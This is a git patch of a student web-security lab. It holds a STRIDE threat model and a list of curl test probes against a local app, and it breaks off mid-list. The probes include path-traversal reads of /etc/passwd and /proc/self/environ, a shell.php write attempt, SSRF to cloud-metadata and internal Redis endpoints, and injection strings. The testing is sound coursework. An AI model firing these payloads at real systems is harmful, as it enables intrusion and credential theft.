From dea5c11623ea55bf369575cfb48fb5d5bb80d539 Mon Sep 17 00:00:00 2001 From: "github-classroom[bot]" <66690702+github-classroom[bot]@users.noreply.github.com> Date: Tue, 14 Apr 2026 06:20:04 +0000 Subject: [PATCH 1/3] Setting up GitHub Classroom Feedback From a8482e606c2d987b79e8c84e19a9afe294fafc91 Mon Sep 17 00:00:00 2001 From: "github-classroom[bot]" <66690702+github-classroom[bot]@users.noreply.github.com> Date: Tue, 14 Apr 2026 06:20:07 +0000 Subject: [PATCH 2/3] add deadline --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 18eee9a..21b4d8d 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,4 @@ +[![Review Assignment Due Date](https://classroom.github.com/assets/deadline-readme-button-22041afd0340ce965d47ae6ef1cefeee28c7c493a6346c4f15d667ab976d596c.svg)](https://classroom.github.com/a/NSTTkgmb) # Лабораторная работа №4 — Анализ и тестирование безопасности веб-приложения ## Цель From fa8562f242d24bd76eb92e0cdf744cc94a473138 Mon Sep 17 00:00:00 2001 From: Dmitri Ponomarev Date: Tue, 19 May 2026 05:10:57 +0300 Subject: [PATCH 3/3] Complete lab --- README.md | 28 +- result.md | 1233 +++++++++++++++++ semgrep-custom.yml | 88 ++ semgrep-report.sarif | 523 +++++++ .../pentest/AuthorizationPentestTest.java | 217 +++ .../testing/lab4/pentest/DosPentestTest.java | 217 +++ .../pentest/ErrorDisclosurePentestTest.java | 188 +++ .../pentest/InputValidationPentestTest.java | 212 +++ .../pentest/PathTraversalPentestTest.java | 203 +++ .../testing/lab4/pentest/SsrfPentestTest.java | 201 +++ 10 files changed, 3096 insertions(+), 14 deletions(-) create mode 100644 result.md create mode 100644 semgrep-custom.yml create mode 100644 semgrep-report.sarif create mode 100644 src/test/java/ru/itmo/testing/lab4/pentest/AuthorizationPentestTest.java create mode 100644 src/test/java/ru/itmo/testing/lab4/pentest/DosPentestTest.java create mode 100644 src/test/java/ru/itmo/testing/lab4/pentest/ErrorDisclosurePentestTest.java create mode 100644 src/test/java/ru/itmo/testing/lab4/pentest/InputValidationPentestTest.java create mode 100644 src/test/java/ru/itmo/testing/lab4/pentest/PathTraversalPentestTest.java create mode 100644 src/test/java/ru/itmo/testing/lab4/pentest/SsrfPentestTest.java diff --git a/README.md b/README.md index 21b4d8d..a13e735 100644 --- a/README.md +++ b/README.md @@ -41,12 +41,12 @@ Заполните таблицу активов системы: -| Актив | Тип | Ценность | Примечание | -|-------|-----|----------|------------| -| Данные пользователей (userId, userName) | Данные | ? | | -| Данные о сессиях (время входа/выхода) | Данные | ? | | -| Файловая система сервера | Инфраструктура | ? | | -| Внутренняя сеть / метаданные окружения | Инфраструктура | ? | | +| Актив | Тип | Ценность | Примечание | +|-------|-----|-------------|--------------------------------------------------------------------| +| Данные пользователей (userId, userName) | Данные | Средняя | У нас нет никаких критичных данных пользователей | +| Данные о сессиях (время входа/выхода) | Данные | Высокая | Основные данные пользователей, можеть выдать паттерны повекдения | +| Файловая система сервера | Инфраструктура | Критическая | Дает полный доступ ко всем возможным данным и управлением системой | +| Внутренняя сеть / метаданные окружения | Инфраструктура | Высокая | Возможность поиска уязвимостей в системе | > **Вопрос для размышления:** какие из активов наиболее критичны и почему? @@ -56,14 +56,14 @@ Проведите базовое моделирование угроз по методологии **STRIDE**: -| Категория угрозы | Расшифровка | Применимо к этому приложению? | -|------------------|------------------------|-------------------------------| -| **S**poofing | Подмена идентификации | ? | -| **T**ampering | Модификация данных | ? | -| **R**epudiation | Отказ от авторства | ? | -| **I**nformation Disclosure | Утечка данных | ? | -| **D**enial of Service | Отказ в обслуживании | ? | -| **E**levation of Privilege | Повышение привилегий | ? | +| Категория угрозы | Расшифровка | Применимо к этому приложению? | +|------------------|------------------------|-----------------------------------------------------------------| +| **S**poofing | Подмена идентификации | Да, в приложении нет аутентификации и авторизации пользователей | +| **T**ampering | Модификация данных | | +| **R**epudiation | Отказ от авторства | ? | +| **I**nformation Disclosure | Утечка данных | ? | +| **D**enial of Service | Отказ в обслуживании | ? | +| **E**levation of Privilege | Повышение привилегий | ? | Для каждой применимой угрозы укажите: - **Источник угрозы** (кто/что может её реализовать) diff --git a/result.md b/result.md new file mode 100644 index 0000000..720a5d7 --- /dev/null +++ b/result.md @@ -0,0 +1,1233 @@ +# Этап 1 - Asset Inventory + +| Актив | Тип | Ценность | Примечание | +|-------|-----|----------|------------| +| Данные пользователей (userId, userName) | Данные | Средняя | Содержит идентификаторы и имена пользователей. PII-данные | +| Данные о сессиях (время входа/выхода) | Данные | Высокая | Паттерны активности пользователей, может использоваться для анализа поведения | +| Файловая система сервера | Инфраструктура | Критическая | Полный доступ к файлам позволяет читать/писать конфиги, исходный код, системные файлы | +| Внутренняя сеть / метаданные окружения | Инфраструктура | Высокая | Доступ к внутренним сервисам, облачным метаданным, может привести к цепной атаке | +| Сетевые ресурсы сервера | Инфраструктура | Высокая | Отправка запросов от сервера может использоваться для DDoS или атак на внутренние сервисы | + +# Этап 2 - Threat Modeling + +## Spoofing (Подмена идентификации) +**Статус**: КРИТИЧНО + +### Описание +Система полностью отсутствует аутентификация. Все эндпоинты берут `userId` из query-параметра без проверки прав доступа. Любой может выдать себя за любого пользователя. + +### Источник угрозы +- Любой внешний атакующий с доступом к сетевому интерфейсу приложения +- Другой микросервис, если приложение развернуто в микросервисной архитектуре +- Компрометированный клиент + +### Поверхность атаки +- **Все эндпоинты** передают userId в query-параметре без проверки +- `/register?userId=<любой_id>&userName=...` — регистрация под любым идентификатором +- `/recordSession?userId=<чужой_id>&...` — запись активности за другого пользователя +- `/totalActivity?userId=<чужой_id>` — чтение активности других пользователей +- `/userProfile?userId=<чужой_id>` — просмотр профиля других пользователей +- `/exportReport?userId=<чужой_id>&...` — создание отчетов от имени других пользователей +- `/notify?userId=<чужой_id>&...` — отправка уведомлений от имени других пользователей + +### Потенциальный ущерб +- Полная компрометизация целостности данных +- Невозможно определить, кто совершил действие (нет аудита) +- Возможность выполнить все операции от имени других пользователей +- Фальсификация активности и отчётов + +## Tampering (Модификация данных) +**Статус**: КРИТИЧНО + +### Описание +Система позволяет произвольно добавлять данные за других пользователей и изменять логику обработки временных интервалов. Нет валидации логики времени сессии. + +### Источник угрозы +Любой, имеющий доступ к API + +### Поверхность атаки +- **POST `/recordSession`** — запись сессий с произвольными временами: + - `loginTime` и `logoutTime` берутся из параметра без проверки логики (можно loginTime > logoutTime) + - Можно записать сессию на 9999 год для завышения активности + - Можно записать отрицательное время активности + - Нет проверки на переполнение данных (logoutTime можно установить очень далеко в будущее) + +- **POST `/register`** — переопределение данных пользователя: + - userName не валидируется (может содержать XSS, спецсимволы) + - Можно перезаписать пользователя заново с другим userName если позвать несколько раз + +- **POST `/notify`** с malicious `callbackUrl`: + - Может точить на вредоносный сервер для фишинга + - Может выполнить SSRF-атаку + +- **GET `/exportReport`** с malicious `filename`: + - Path traversal позволяет писать в любую директорию + - Можно перезаписать критичные файлы приложения + +### Потенциальный ущерб +- Фальсификация данных активности +- Манипуляция отчётами +- Запись вредоносного контента на файловую систему +- Перенаправление уведомлений на вредоносные адреса + +## Repudiation (Отказ от авторства) +**Статус**: ВЫСОКО (в сочетании с Spoofing) + +### Описание +Система полностью отсутствует логирование и аудит действий. Невозможно определить, кто совершил конкретное действие, когда и откуда. Нет временных меток запросов, нет идентификации источников. + +### Источник угрозы +Любой клиент API может произвольно выполнять действия и отрицать это + +### Поверхность атаки +- **POST `/register`** — регистрация пользователей без логирования +- **POST `/recordSession`** — запись сессий без аудита +- **POST `/notify`** — отправка уведомлений без логирования +- **GET `/exportReport`** — создание файлов без логирования +- Все эндпоинты, которые модифицируют или читают данные, но это не логируется + +### Потенциальный ущерб +- Невозможно привлечь нарушителя к ответственности +- Невозможно восстановить историю событий после инцидента +- Невозможно отследить цепочку атак +- Нарушение требований compliance и GDPR (отсутствие аудит-логов) + +## Information Disclosure (Утечка данных) +**Статус**: ВЫСОКО + +### Описание +Система раскрывает чувствительную информацию о пользователях, их активности и содержимое файловой системы. Нет контроля доступа — любой может прочитать данные любого пользователя. + +### Поверхность атаки: +1. **GET `/inactiveUsers?days=`** — возвращает список userId всех неактивных пользователей (массив JSON) + - Без параметра может вернуть некорректный ответ + - Раскрывает существование пользователей в системе + +2. **GET `/totalActivity?userId=`** — возвращает детальную активность любого пользователя + - Без авторизации может прочитать активность другого пользователя + - Раскрывает паттерны работы пользователя + +3. **GET `/monthlyActivity?userId=&month=`** — возвращает дневную активность по месяцам + - Позволяет узнать точное время работы любого пользователя + - Высокий уровень детализации + +4. **GET `/userProfile?userId=`** — возвращает HTML-профиль пользователя + - Раскрывает userName и суммарную активность + - Возвращается в HTML, что позволяет использовать для XSS + +5. **GET `/exportReport?userId=&filename=`** — создание файлов с данными + - Через path traversal можно читать системные файлы (CWE-22) + - Файлы с информацией о пользователе доступны + +6. **Error messages раскрывают информацию (CWE-209)**: + - Строка 74 контроллера: `"Invalid data: " + e.getMessage()` может вернуть стек-трейс + - `e.getMessage()` может содержать информацию о внутренней структуре приложения + - Может раскрыть информацию о версии Java, библиотек и т.д. + +7. **Отсутствие проверок на существование пользователя**: + - Разные коды ответа (404 vs 200) для существующих и несуществующих пользователей позволяют перечислить пользователей + +## Denial of Service (Отказ в обслуживании) +**Статус**: ВЫСОКО + +### Описание +Система отсутствуют ограничения на количество запросов, размер данных и объем сетевых операций. Это позволяет исчерпать ресурсы сервера. + +### Поверхность атаки: + +1. **POST `/register?userId=&userName=`** — исчерпание памяти + - Нет ограничения на длину userId и userName + - Каждый вызов добавляет запись в HashMap + - Можно зарегистрировать миллионы пользователей и вызвать OutOfMemoryError + - HashMap будет занимать все больше памяти + +2. **POST `/recordSession?userId=&loginTime=...&logoutTime=...`** — исчерпание памяти + - Нет ограничения на количество сессий для одного пользователя + - Можно добавить миллионы сессий в ArrayList для одного userId + - Каждый запрос `/totalActivity` будет обходить весь этот список (строка 66-68 сервиса) + - Замедление или зависание при расчёте активности + +3. **POST `/notify?userId=&callbackUrl=`** — исчерпание сетевых ресурсов и зависание + - Нет ограничения на timeout операции (только 3000ms на соединение) + - Можно отправить на очень медленный сервер (httpbin.org/delay/300) + - Можно создать рекурсию: callbackUrl = http://localhost:7000/notify?userId=...&callbackUrl=http://localhost:7000/notify?... + - Массовая отправка параллельных запросов исчерпает thread pool'а + - Блокирует обработку других запросов + +4. **GET `/exportReport?userId=&filename=`** — заполнение диска + - Через path traversal можно писать в любую директорию + - Можно записать огромный файл (если нет ограничения на размер) + - `reportFile.getParentFile().mkdirs()` (строка 156) позволяет создавать arbitrary структуру директорий + - Заполнение диска → отказ в записи для легитимных пользователей + +5. **Отсутствие rate limiting**: + - Все эндпоинты могут быть вызваны неограниченное количество раз + - Нет throttling'а по IP адресу + +### Потенциальный ущерб: +- **OutOfMemoryError** → крах приложения (CWE-400) +- Замедление всех операций из-за больших структур данных +- Блокирование потоков обработки в `/notify` +- Заполнение диска → невозможность сохранять новые отчёты и логи +- Перенаправление сетевых ресурсов на внешние сервера (DDoS вектор) + +## Elevation of Privilege (Повышение привилегий) +**Статус**: КРИТИЧНО + +### Описание +Система отсутствует концепция ролей и привилегий. Любой клиент может выполнить любую операцию, включая операции, которые должны быть доступны только администраторам. + +### Источник угрозы +Любой клиент с доступом к API + +### Поверхность атаки: + +1. **GET `/exportReport?userId=&filename=`** — произвольное чтение/запись на диск (CWE-22 + CWE-434) + - Можно прочитать конфигурацию приложения: `../../../../config/application.properties` + - Можно прочитать исходный код: `../../../../src/Main.java` + - Можно прочитать переменные окружения: `../../../../proc/self/environ` + - Можно прочитать системные файлы: `../../../../etc/passwd`, `../../../../etc/shadow` + - Можно записать вредоносный файл JSP/Java в директорию приложения и выполнить код + - Можно перезаписать конфигурацию базы данных + +2. **POST `/notify?userId=&callbackUrl=`** — SSRF доступ к внутренним ресурсам (CWE-918) + - Доступ к внутренним сервисам: http://localhost:8080/admin + - Доступ к облачным метаданным: http://169.254.169.254/latest/meta-data/ + - Доступ к Redis: http://redis:6379/INFO, http://redis:6379/FLUSHDB (удаление БД) + - Доступ к PostgreSQL: http://localhost:5432 + - Доступ к другим микросервисам во внутренней сети + - Получение AWS/GCP/Azure credentials из метаданных облака + +3. **Отсутствие разделения ролей (Authorization)**: + - Обычный пользователь может выполнить операции, которые должны быть только для администраторов + - Нет различия между чтением своих данных и чтением данных других пользователей + - Нет защиты на уровне приложения (Authorization) — только Authentication отсутствует + +### Потенциальный ущерб: +- **RCE (Remote Code Execution)** через загрузку вредоносного файла на диск +- Получение доступа к внутренним сервисам и микросервисам +- Компрометизация облачной инфраструктуры через метаданные +- Полная компрометизация сервера и данных +- Цепная атака на другие системы во внутренней сети + +# Этап 3 — Ручное тестирование (результаты выполнения) + +## Подготовка: регистрация тестовых пользователей + +``` +POST /register?userId=victim&userName=Alice → User registered: true +POST /register?userId=alice&userName=Bob → User registered: true +POST /recordSession?userId=victim&loginTime=2024-01-01T09:00:00&logoutTime=2024-01-01T17:00:00 + → Session recorded +``` + +--- + +## 1. /register + +# 1.1 Нормальная регистрация +curl -X POST "http://localhost:7000/register?userId=alice&userName=Alice%20Smith" + +# 1.2 Отсутствие параметров +curl -X POST "http://localhost:7000/register?userId=alice" +curl -X POST "http://localhost:7000/register?userName=Alice" + +# 1.3 Пустые значения +curl -X POST "http://localhost:7000/register?userId=&userName=Alice" +curl -X POST "http://localhost:7000/register?userId=alice&userName=" + +# 1.4 Спецсимволы в userName (проверка XSS) +curl -X POST "http://localhost:7000/register?userId=xss1&userName=" +curl -X POST "http://localhost:7000/register?userId=xss2&userName=" +curl -X POST "http://localhost:7000/register?userId=xss3&userName=%22%3E%3Cscript%3Ealert(1)%3C/script%3E" + +# 1.5 Спецсимволы в userId +curl -X POST "http://localhost:7000/register?userId=../../../etc&userName=test" +curl -X POST "http://localhost:7000/register?userId=admin%27%20OR%20%271%27%3D%271&userName=test" + +# 1.6 Очень длинные значения (DoS) +curl -X POST "http://localhost:7000/register?userId=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&userName=B" +curl -X POST "http://localhost:7000/register?userId=B&userName=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + +# 1.7 Дублирование регистрации +curl -X POST "http://localhost:7000/register?userId=alice&userName=Alice" +curl -X POST "http://localhost:7000/register?userId=alice&userName=Alice2" + + +# 2.1 Нормальная сессия +curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=2024-01-01T09:00:00&logoutTime=2024-01-01T17:00:00" + +# 2.2 Отсутствие параметров +curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=2024-01-01T09:00:00" +curl -X POST "http://localhost:7000/recordSession?userId=victim&logoutTime=2024-01-01T17:00:00" + +# 2.3 Неверный формат даты +curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=not-a-date&logoutTime=2024-01-01T17:00:00" +curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=2024-13-01T09:00:00&logoutTime=2024-01-01T17:00:00" + +# 2.4 Логически некорректные даты +curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=2024-01-01T17:00:00&logoutTime=2024-01-01T09:00:00" +curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=9999-12-31T23:59:59&logoutTime=9999-12-31T23:59:59" + +# 2.5 Tampering — запись сессии для чужого пользователя +curl -X POST "http://localhost:7000/recordSession?userId=alice&loginTime=2024-01-01T00:00:00&logoutTime=2025-12-31T23:59:59" + +# 2.6 Очень много сессий (DoS) — выполните несколько раз +curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=2024-01-01T01:00:00&logoutTime=2024-01-01T02:00:00" +curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=2024-01-01T02:00:00&logoutTime=2024-01-01T03:00:00" +curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=2024-01-01T03:00:00&logoutTime=2024-01-01T04:00:00" + +# 2.7 Несуществующий пользователь +curl -X POST "http://localhost:7000/recordSession?userId=nonexistent&loginTime=2024-01-01T09:00:00&logoutTime=2024-01-01T17:00:00" + + +# 3.1 Нормальный запрос +curl "http://localhost:7000/totalActivity?userId=victim" + +# 3.2 Отсутствует userId +curl "http://localhost:7000/totalActivity" + +# 3.3 Пустой userId +curl "http://localhost:7000/totalActivity?userId=" + +# 3.4 Information disclosure — данные чужого пользователя +curl "http://localhost:7000/totalActivity?userId=alice" + +# 3.5 Несуществующий пользователь +curl "http://localhost:7000/totalActivity?userId=nonexistent" + +# 3.6 Спецсимволы +curl "http://localhost:7000/totalActivity?userId=../../../etc/passwd" +curl "http://localhost:7000/totalActivity?userId=" + +# 4.1 Нормальный запрос +curl "http://localhost:7000/inactiveUsers?days=7" + +# 4.2 Граничные значения +curl "http://localhost:7000/inactiveUsers?days=0" +curl "http://localhost:7000/inactiveUsers?days=-1" +curl "http://localhost:7000/inactiveUsers?days=-999" + +# 4.3 Неверные форматы +curl "http://localhost:7000/inactiveUsers?days=not-a-number" +curl "http://localhost:7000/inactiveUsers?days=7.5" +curl "http://localhost:7000/inactiveUsers?days=" + +# 4.4 Огромное значение +curl "http://localhost:7000/inactiveUsers?days=999999999999999999999" + +# 4.5 Information disclosure — без параметра days +curl "http://localhost:7000/inactiveUsers" + +# 5.1 Нормальный запрос +curl "http://localhost:7000/monthlyActivity?userId=victim&month=2024-01" + +# 5.2 Граничные значения +curl "http://localhost:7000/monthlyActivity?userId=victim&month=0000-00" +curl "http://localhost:7000/monthlyActivity?userId=victim&month=9999-99" + +# 5.3 Неверный формат месяца +curl "http://localhost:7000/monthlyActivity?userId=victim&month=2024-13" +curl "http://localhost:7000/monthlyActivity?userId=victim&month=2024" +curl "http://localhost:7000/monthlyActivity?userId=victim&month=January2024" + +# 5.4 Отсутствие параметров +curl "http://localhost:7000/monthlyActivity?userId=victim" +curl "http://localhost:7000/monthlyActivity?month=2024-01" +curl "http://localhost:7000/monthlyActivity" + +# 5.5 Information disclosure — чужие данные +curl "http://localhost:7000/monthlyActivity?userId=alice&month=2024-01" + +# 5.6 Несуществующий пользователь +curl "http://localhost:7000/monthlyActivity?userId=nonexistent&month=2024-01" + +# 6.1 Нормальный запрос +curl "http://localhost:7000/userProfile?userId=victim" + +# 6.2 XSS через ранее зарегистрированное имя +curl -X POST "http://localhost:7000/register?userId=xss_victim&userName=" +curl "http://localhost:7000/userProfile?userId=xss_victim" + +# 6.3 XSS через userId (если отражается) +curl -X POST "http://localhost:7000/register?userId=xss_test&userName=Test" +curl "http://localhost:7000/userProfile?userId=xss_test" + +# 6.4 Path traversal в userId +curl "http://localhost:7000/userProfile?userId=../../../etc/passwd" + +# 6.5 Очень длинный userId +curl "http://localhost:7000/userProfile?userId=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + +# 6.6 Несуществующий пользователь +curl "http://localhost:7000/userProfile?userId=nonexistent" + +# 7.1 Нормальный запрос +curl "http://localhost:7000/exportReport?userId=victim&filename=victim_report.txt" + +# 7.2 Path traversal — чтение системных файлов +curl "http://localhost:7000/exportReport?userId=victim&filename=../../../../etc/passwd" +curl "http://localhost:7000/exportReport?userId=victim&filename=../../../../etc/hosts" +curl "http://localhost:7000/exportReport?userId=victim&filename=../../../../proc/self/environ" + +# 7.3 Path traversal — запись в другие директории +curl "http://localhost:7000/exportReport?userId=victim&filename=../../../../tmp/evil.txt" +curl "http://localhost:7000/exportReport?userId=victim&filename=../../../var/www/html/shell.php" + +# 7.4 URL encoding bypass +curl "http://localhost:7000/exportReport?userId=victim&filename=..%2F..%2F..%2F..%2Fetc%2Fpasswd" +curl "http://localhost:7000/exportReport?userId=victim&filename=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd" + +# 7.5 Двойное кодирование +curl "http://localhost:7000/exportReport?userId=victim&filename=%252e%252e%252f%252e%252e%252fetc%252fpasswd" + +# 7.6 Null byte injection +curl "http://localhost:7000/exportReport?userId=victim&filename=../../../../etc/passwd%00.txt" + +# 7.7 Опасные расширения +curl "http://localhost:7000/exportReport?userId=victim&filename=malicious.jsp" +curl "http://localhost:7000/exportReport?userId=victim&filename=config" + +# 7.8 Пустое имя файла +curl "http://localhost:7000/exportReport?userId=victim&filename=" + +# 7.9 Очень длинное имя файла +curl "http://localhost:7000/exportReport?userId=victim&filename=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + +# 7.10 Отсутствие параметров +curl "http://localhost:7000/exportReport?userId=victim" +curl "http://localhost:7000/exportReport?filename=test.txt" + +# 7.11 Несуществующий пользователь +curl "http://localhost:7000/exportReport?userId=nonexistent&filename=test.txt" + +# 8.1 Нормальный запрос (нужен внешний сервер) +curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=https://webhook.site/your-id" + +# 8.2 SSRF — внутренние адреса +curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://localhost:7000/userProfile?userId=victim" +curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://127.0.0.1:7000/totalActivity?userId=victim" +curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://localhost:7000/exportReport?userId=victim&filename=../../../../etc/passwd" + +# 8.3 SSRF — метаданные (cloud providers) +curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://169.254.169.254/latest/meta-data/" +curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://metadata.google.internal/computeMetadata/v1/" + +# 8.4 SSRF — внутренние сервисы +curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://localhost:8080/admin" +curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://redis:6379/INFO" + +# 8.5 SSRF с разными портами +curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://localhost:22" +curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://localhost:5432" + +# 8.6 Self-callback (рекурсия) — 